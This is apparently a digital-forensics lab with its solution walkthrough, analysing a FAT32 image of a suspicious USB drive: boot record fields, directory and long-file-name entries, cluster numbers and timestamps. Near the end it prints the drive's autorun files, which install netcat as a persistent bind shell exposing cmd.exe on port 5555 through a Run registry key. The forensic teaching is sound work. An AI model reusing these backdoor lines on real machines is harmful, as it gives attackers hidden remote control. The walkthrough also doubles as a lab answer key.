![\"Boot](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/1.jpg\")
You are called you to investigate a USB thumb drive that was found near John's car and report back your findings. John works for the company as a system engineer, and it is believed that he might be a victim of a targeted attack.
\nThe bright side is that they have done a good job in conducting regular security awareness training for the employees, so John immediately reported the USB thumb drive without foolishly checking it on his system.
\nUse your file system analysis skills to manually parse the suspicious USB thumb drive [located at C:\\DFP\\Labs\\Module05\\Lab10\\Lab10.dd] and understand its Volume Boot Record (VBR). You are required to report back the following:\n1. Number of sectors used for each cluster\n2. The number of reserved sectors\n3. Number of FATs and the size of each\n4. Location of the backup for the boot sector (extra: find it, and copy it out)\n5. Cluster number of the root directory\n6. The volume serial number\n7. The size of the whole file system in both sectors and bytes
\nUse your file system analysis skills to manually parse the suspicious USB thumb drive [located at C:\\DFP\\Labs\\Module05\\Lab10\\Lab10.dd] and understand the files and directory entries found. You need to report back the following:\n1. Number of files and directories found in the root directory.\n2. How to find the directory entry of a file or directory.\n3. The starting cluster number for each file and directory in the root. This task must be done first manually then verify your results using tools.\n4. Did you find any files with long names? How would you analyze at least two of them?\n5. What are the creation dates of the files found, and what hypothesis do you have for their close creation date?\n6. Which file was the first file copied to the USB, and how did you find that? (show two ways).
\nUse the skills you gained to locate the directory entries of the suspicious files, and report back the following:\n1. Which files are suspicious and why? What is your hypo?\n2. Analyze each of their directory entries checking most importantly their file attributes.\n3. How many clusters did each file consume and what are they?
", "published_date": "2020-10-20T15:32:26Z", "solutions": "## SOLUTIONS\n\n### Task 1: Analyzing FAT32 File System Volume Boot Record\nLet us open our evidence file given named \"[Lab10.dd]\" [located at C:\\DFP\\Labs\\Module05\\Lab10\\Lab10.dd] using Active@ Disk Editor, which would lead us to the following:\n\n\n\nIn the template pane select the drop down arrow and change the selection from \"No template\" to \"Master Boot Record\". Reference the figure below.\n\n\n\n\n\nAfter changing the template pane to Master Boot Record, click on the triangle next to each partition to collapse them. You are now looking at each partition as interpreted from the Master Boot Record. You should see that partition 1 is 350 MB and partition 2 is 69.7 GB, with the remaining 2 partition unsed.\n\n\n\nExpand the Partition 1 entry to begin our analysis. The result should look like the following:\n\n\n\nOne observation to make is that the Partition identified by the software is an NTFS partition. This is incorrect. We are expecting a FAT32 file system If you review offset 450 you will see that the value is 0x0B. An NTFS volume is identified by the value of 0x07. In this case, 0x0B is the identified of a FAT32 partition, however it is an old and now rare version of FAT32 (circa Windows 95). So we will continue to investigate it as a FAT32 partition.\n\nClick on the blue 2,048 hyperlink in the first sector row\n\n\n\nYou should now be at the starting sector for the 1st partition identified by the MBR. Visually look for confirming clue in the ASCII section of hex editor. What you should see are is:\n\n1. Text indicating the FAT32 file system signature is present \"MSDOS5.0\"\n2. The name of the filesystem type \"FAT32\"\n\n\n\nWhile this is not neccesarily a forensic observation, it does help to ensure you are on the right track, and you will soon correlate and confirm.\n\nIn the template window, select FAT32 Boot Sector.\n\nUsing the boot sector menu that appeared to us to analyze the boot sector and answer the questions requested.\n\n1. Number of sectors used for each cluster (sectors per cluster).\nLet us open our evidence file given named \"[Lab10.dd]\" [located at C:\\DFP\\Labs\\Module05\\Lab10\\Lab10.dd] using Active@ Disk Editor, which would lead us to the following:
\n
In the template pane select the drop down arrow and change the selection from \"No template\" to \"Master Boot Record\". Reference the figure below.
\n![\"NoTemplate\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/NoTemplate.jpg\")
![\"MasterBootRecord\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/MasterBootRecord.jpg\")
After changing the template pane to Master Boot Record, click on the triangle next to each partition to collapse them. You are now looking at each partition as interpreted from the Master Boot Record. You should see that partition 1 is 350 MB and partition 2 is 69.7 GB, with the remaining 2 partition unsed.
\n![\"MBRPartitions\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/MBRPartitions.jpg\")
Expand the Partition 1 entry to begin our analysis. The result should look like the following:
\n![\"Partition1\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/Partition1.jpg\")
One observation to make is that the Partition identified by the software is an NTFS partition. This is incorrect. We are expecting a FAT32 file system If you review offset 450 you will see that the value is 0x0B. An NTFS volume is identified by the value of 0x07. In this case, 0x0B is the identified of a FAT32 partition, however it is an old and now rare version of FAT32 (circa Windows 95). So we will continue to investigate it as a FAT32 partition.
\nClick on the blue 2,048 hyperlink in the first sector row
\n![\"FirstSector\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/FirstSector.jpg\")
You should now be at the starting sector for the 1st partition identified by the MBR. Visually look for confirming clue in the ASCII section of hex editor. What you should see are is:
\n![\"ASCIIText\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/ASCIIText.jpg\")
While this is not neccesarily a forensic observation, it does help to ensure you are on the right track, and you will soon correlate and confirm.
\nIn the template window, select FAT32 Boot Sector.
\nUsing the boot sector menu that appeared to us to analyze the boot sector and answer the questions requested.
\nNumber of sectors used for each cluster (sectors per cluster).\n\n Click for Answer
\n Found at offset 13 and is 8 sectors. This means we have a USB using a 4096 bytes cluster.\n
The number of reserved sectors.
\nNumber of FATs and the size of each one.\n\n Click for Answer
\n Found at offset 16 and is 2. This means we can have two FATs in this file system. Also, the size of each FAT is 14,949 sector which is found at offset 36.\n
Location of the backup for the boot sector (extra: find it, and copy it out)\n\n Click for Answer
\n This is found at offset 50 and is 6. This means we can go to sector 6 and find a copy of the current boot sector. Since there are 512 bytes in each sector, to calculate the offset multiply sectors*512. Use the offset buttons to go to byte offset 3072 from curent position.\n
Go to Offset 3,072 bytes from current position.
\n![\"Offset3072\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/offset3072.jpg\")
This should lead us exactly to offset 1051648, as seen below
\n![\"Offset1051648\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/offset1051648.jpg\")
Now, highlight these 512 bytes and then right click on the desktop and select Paste Into File. Save the file (e.g., SuspectUSB-BKUP-VBR) and continue to the next question.
\nWhat is the cluster number of the root directory\n\n Click for Answer
\nIt is found at offset 44 and is 2. This means that the first cluster used by the root directory is at number 2, which is exactly how Microsoft defined it, as it always starts at 2, because cluster #0 and #1 are reserved.\n
What is the volume serial number\n\n Click for Answer
\nIt is found at offset 67 and is 58 2E DA D6.\n
What is th size of the whole file system in both sectors and bytes?
\nContinue, using FTK Imager, to answer the requirements for this part of our investigation .
\nNumber of files and directories found in the root directory
\nFrom the figure below, we can see that we have 2 directories and 8 files.
\n![\"FTKRootFolder\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/Suspect2FTKRoot.jpg\")
To find a directory entry of a file or directory, first review the above figure. A visual inspection of the Tree, File List, and Hex Panes should reveal some visually recognizable strings. The hexadecimal code is the File Allocation Table (FAT).
\nThen, traverse the entries until you find the line that corresponds to the file name you are looking for, which is at the beginning of the entry. Click on a file in the File List. Look at the lower left hand corner, select the properties tab.
\n![\"FileEntryProperties\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/FileEntryProperties.jpg\")
If you look at the properties table, note the Name, Physical Size, Start Cluster, Start Sector.
\nDo a quick verification exercise to see if the starting sector contains the file information. You will need to calculate the offeset of the sector.
\nBecause this image is using 512k sectors, the equation to calulate sectors to offset is offset = (Start Sector * 512) + 1. Try the math on your own. What is the starting offset for autorun.bat?
\n\n Click for Answer
\nThe starting offset for autorun.bat is 354340865\n
In the Evidence Tree, click on Lab10.dd. Then right click in the white space and select Go To Offset. Enter the calculated offset, select decimal and beginning of file. Then OK.
\n![\"OffsetFound\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/OffsetFound.jpg\")
Now, locate the directory entry for the file slidenotes.pdf, by click on root in the Evidence Tree. Use the properties to determine the sectors and clusters.
\n![\"slidedirentry\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/slidedirentry.jpg\")
Note: actually, this file has more than one entry, but we will come back to this later.
\nThe starting cluster number for each file and directory in the root. This task must be done first manually then verify your results using tool(s). Since this is a FAT32 file system, we have to identify the starting cluster number, which is four bytes, is split into two bytes each and found at offset 20-21 and 26-27 of the directory entry.
\nBe aware that even though we demonstrated using a tool to quickly locate the information, you always should do it manualy to verify the forensic tool is correctly interpreting the results.
\nUsing the same example in the previous task, we have (all in hex):
\nByte 20 = 01
\nByte 21 = 00
\nByte 26 = BC
\nByte 27 = 40
\nWhih resultxs in: 0100BC40
\nAnd remember since it is written in little endian, then this means we have:
\n21 20 27 26 Which equals: 00 01 40 BC
\n![\"slideclustersize\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/slideclustersize.jpg\")
So, the first cluster for the slidenotes.pdf file is: 82108
\nVerify our results using the properties pane . As you can see below, the first cluster is indeed 82108.
\n![\"slideclustersizeproperties\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/slideclustersizeproperties.jpg\")
Always take the steps to manually verify this information. Computer forensics requires a methodology that does not depend BLINDLY on tools.
\nDid you observe any files with long file names? A long file name is a file that is longer than the standard eight dot three format, or eight characters for the file name and a three character extension seperated by a dot, for example \"FILENAME.ZIP\". Let's analyze at least two of them.
\nFiles and directories that have upper case letters such as \"Tools\" also have a LFN directory entry. The files are:
\nName Type\nSystem Volume Information Directory\nTools Directory\nAnti-Forensics.txt File\nGlowing Element.jpg File\nknowledge_is_Wisdom.jpg File\nslidenotes.pdf File\nText-on-the-board.jpg File
\nLet's analyze the first directory and the last file in the list above.
\nSystem Volume Information
\nRight click on the directory then go to Navigate Seek directory entry.
\nNow, since this is a LFN directory entry, then the first one that we landed on when using the menu above took us the short file name (SFN) directory entry, and the rest are the ones above it. Let's take a look at the following:
\n![\"LFNDIRECTORY\"](\"https://assets.ine.com/content/labs/cybersecurity-labs/jason/VOD-3389/LFNDIRECTORY.jpg\")
As we know each entry is 32 bytes, so from the figure above we can see that this directory is using one SFN and two LFN entries. I will be analyzing them using two methods, manually and using tools.
\nThe first example will be done based on the manual method, as follows:
\nI. Offset 0: is the file name using 8 bytes = 53 59 53 54 45 4D 7E 31 -> SYSTEM~1
\nII. Offset 8: is the file extension using 3 bytes = 20 20 20 -> no extension and it is padded because it is a directory
\nIII. Offset 11: is the file attributes using one byte = 16 -> 00010110 (bits) -> It is a directory with the system and hidden attributes all set (directory, system, hidden)
\nIV. Offset 12: we find a single reserved byte
\nV. Offset 13: A single byte for the tenths of a second = 42 -> (hex) 66
\nVI. Offset 14: copying the next four bytes that represent the Creation Time and Creation Date = A5 0E 71 4B and using DCode [located at C:\\DFP\\Tools\\Time] with MS-DOS 32-bit Hex Value we get the following: Fri, 17 November 2017 01:53:10 Local
\nThis could be seen in the following:
\n![\"image11\"](\"https://assets.ine.com/cybersecurity-lab-images/60d5abef-117d-4b85-9546-ff77c1494b47/image11.png\")
So, with the tenths of seconds, we get the following:
\nFri, 17 November 2017 01:53:10.6 Local
\nVII. Offset 18: copying the next two bytes that represent the Last Accessed Date = 71 4B and using the same as before with DCode and MS-DOS 32-bit Hex we get the following: Fri, 17 November 2017 00:00:00 Local
\nWe can see this in the following:
\n![\"image12\"](\"https://assets.ine.com/cybersecurity-lab-images/60d5abef-117d-4b85-9546-ff77c1494b47/image12.png\")
[Note (1):] remember that FAT file systems have only Last Access Dates but no time, and that is why we see the time set to 00:00:00.
\n[Note (2):] I'm going to skip offset 20 and 21 for now, we'll get back to them shortly.
\nVIII. Offset 22: copying the next four bytes that represent the Last Modification Time and Last Modification Date = A6 0E 71 4B and using the same as before with DCode and MS-DOS 32-bit Hex we get the following: Fri, 17 November 2017 01:53:12 Local
\nWe can see this in the following:
\n![\"image12\"](\"https://assets.ine.com/cybersecurity-lab-images/60d5abef-117d-4b85-9546-ff77c1494b47/image13.png\")
IX. Offset 26: is the low two bytes of the first cluster number. We find here the value = 0300, and if we go back to offset 20 and 21, we find the high two bytes of the first cluster number. Using the same method, we did before, we get the following:
\n20 21 = 00 00
\n26 27 = 03 00
\nThen the first cluster would be at 00 00 00 03
\nX. Offset 28: is the file size in bytes. We find here the value 00 00 00 00, and that is because this is a directory, so its size will be zero.
\nUntil now we have only analyzed the SFN part of this directory (same for files), so let us move on to the LFN part.
\n[LFN Part 1:]
\nI. Offset 0: is the sequence number using one byte. We find the value: 01
\nII. Offset 1: uses 10 bytes and holds the first five characters in Unicode of the long file name. We found the value: 53 00 79 00 73 00 74 00 65 00 -> S y s t e
\nIII. Offset 11: is the file attribute using 1 byte. This entry holds the value 0F because it is a Long File Name
\nIV. Offset 12: we find one reserved byte, always holding 00
\nV. Offset 13: we find one byte holding a checksum value calculated based on the Short File Name. This value will be found in each LFN entry. The value here was: 72
\nVI. Offset 14: we find 12 bytes holding the next six characters in Unicode of the LFN. We found the value: 6D 00 20 00 56 00 6F 00 6C 00 75 00 -> m V o l u
\n[Note:] there is a SPACE character between the char \"m\" and \"V\" in the representation above.
\nVII. Offset 26: we find two bytes reserved and always will be zeros.
\nVIII. Offset 28: we find another 2 characters of the LFN. They will be using four bytes as it is in Unicode. So, the value we found here was: 6D006500 -> m e
\n[LFN Part 2:]
\nI. Offset 0: is the sequence number using one byte. We find the value: 42
\nLet me explain this a little. Since this sequence is 42, it means this is the last LFN entry which only has 2 entries. So, the number 4 is for the end of sequence, and the number 2 represents the number of entries we have here.
\nII. Offset 1: uses 10 bytes and holds the first five characters in Unicode of the long file name. We found the value: 20 00 49 00 6E 00 66 00 6F 00 -> I n f o
\n[Note:] there is a SPACE character at the beginning making them 5 Unicode chars.
\nIII. Offset 11: is the file attribute using 1 byte. This entry holds the value 0F because it is a Long File Name
\nIV. Offset 12: we find one reserved byte, always holding 00
\nV. Offset 13: we find one byte holding a checksum value calculated based on the Short File Name. This value will be found in each LFN entry. The value here was: 72
\nNote: this was found in the first entry too. It helps to identify that all these entries belong to the same file name.
\nVI. Offset 14: we find 12 bytes holding the next six characters in Unicode of the LFN. We found the value: 72 00 6D 00 61 00 74 00 69 00 6F 00 -> r m a t i o
\nVII. Offset 26: we find two bytes reserved and always will be zeros.
\nVIII. Offset 28: we find another 2 characters of the LFN. They will be using four bytes as it is in Unicode. So, the value we found here was: 6E 00 00 00 -> n
\nThe last byte is padded with zero since there is no characters left in the LFN.
\nIn our next file, I will be using a much simpler method, and it is based on the features provided by WinHex. Let's get started.
\nText-on-the-board.jpg
\nOne of the advantages of using a forensic tool is it makes all the nightmare we saw before, extremely easy! You'll see soon!
\nRefer to the properties tab in FTK Imager to see the information parsed.
\n![\"textontheboard\"](\"https://assets.ine.com/cybersecurity-lab-images/60d5abef-117d-4b85-9546-ff77c1494b47/textontheboard.jpg\")
As we can see, all the details are fully clear.
\nNow if you go backward 32 bytes, which should be the beginning of an entry (32 bytes each), you should be currently at the following:
\nAs you can see, it was extremely easy to analyze LFN and SFNs using a basic forensic tool.
\nWhat are the creation dates of the files found, and what hypothesis do you have for their close creation date?
\nYou should notice that all files have a very close creation time ranging from 11/17/2017 13:25:21.0 to 11/17/2017 13:26:06.0. I hypothesize that these files were either copied using a script or they were copy and pasted into this USB thumb drive and that is why they are very close to each other.
\nWhich file was the first file copied to the USB, and how did you find that? (show two ways)
\nThe second method would be to check the cluster numbers of the files/directories that are copied to the USB thumb drive. This could be done by exporting the list of files and directories into either XML or TSV file formats and then sorting the files based on their integer ID.
\nYou will find, the file named nmap-5.51-setup.exe has the cluster number 7, which means it was the first among all these files copied to this USB thumb drive.
\nWe will continue our analysis to find any suspicious files and do some file checking by navigating through the content of the USB and the files found.
\nForm a Hypothesis: The reason is that autorun files are used to benefit from the autorun features found in systems. So the autorun.inf file is used to call and run the autorun.bat file.
\nThe autorun.inf file contained the following:
\n[autorun]\nopen=autorun.bat\naction=\"starting network service\"While the\nautorun.bat\nfile contained the following:
\ncopy nc.exe \"%SYSTEMROOT%/System32\"\nREG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"NETSRVICE\" /t \"REG_SZ\" /d \"%SYSTEMROOT%\\System32\\nc.exe -d -L -e cmd.exe -p 5555\"From the file above, we can see that the nc.exe file is being copied to the System32 directory under the system root directory (C:\\Windows). After that, the REG ADD command is being used to add a registry entry to the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run key so that each time the system reboots the nc.exe is executed and a cmd.exe is attached to it. This cmd.exe could be reached by connecting to port 5555 as seen above.
\nSo we can clearly say that the USB thumb drive is being used to create some sort of BACKDOOR on the victim's system.
\nAnalyze each of their directory entries checking most importantly their file attributes.\n \n Click for Answer
\nYou can apply the same process we did in the previous task (i.e., task #2) here. \n
Examine the autorun.inf file directory entry
\n\n Click for Answer
\nHow many clusters did each file consume and what are they?
| Number | \nFile name | \nNo. of Clusters Used | \nCluster No. | \n
|---|---|---|---|
| 1 | \nautorun.bat | \n1 | \n82159 | \n
| 2 | \nautorun.inf | \n1 | \n82158 | \n
| 3 | \nnc.exe | \n15 | \n82143 - 82157 | \n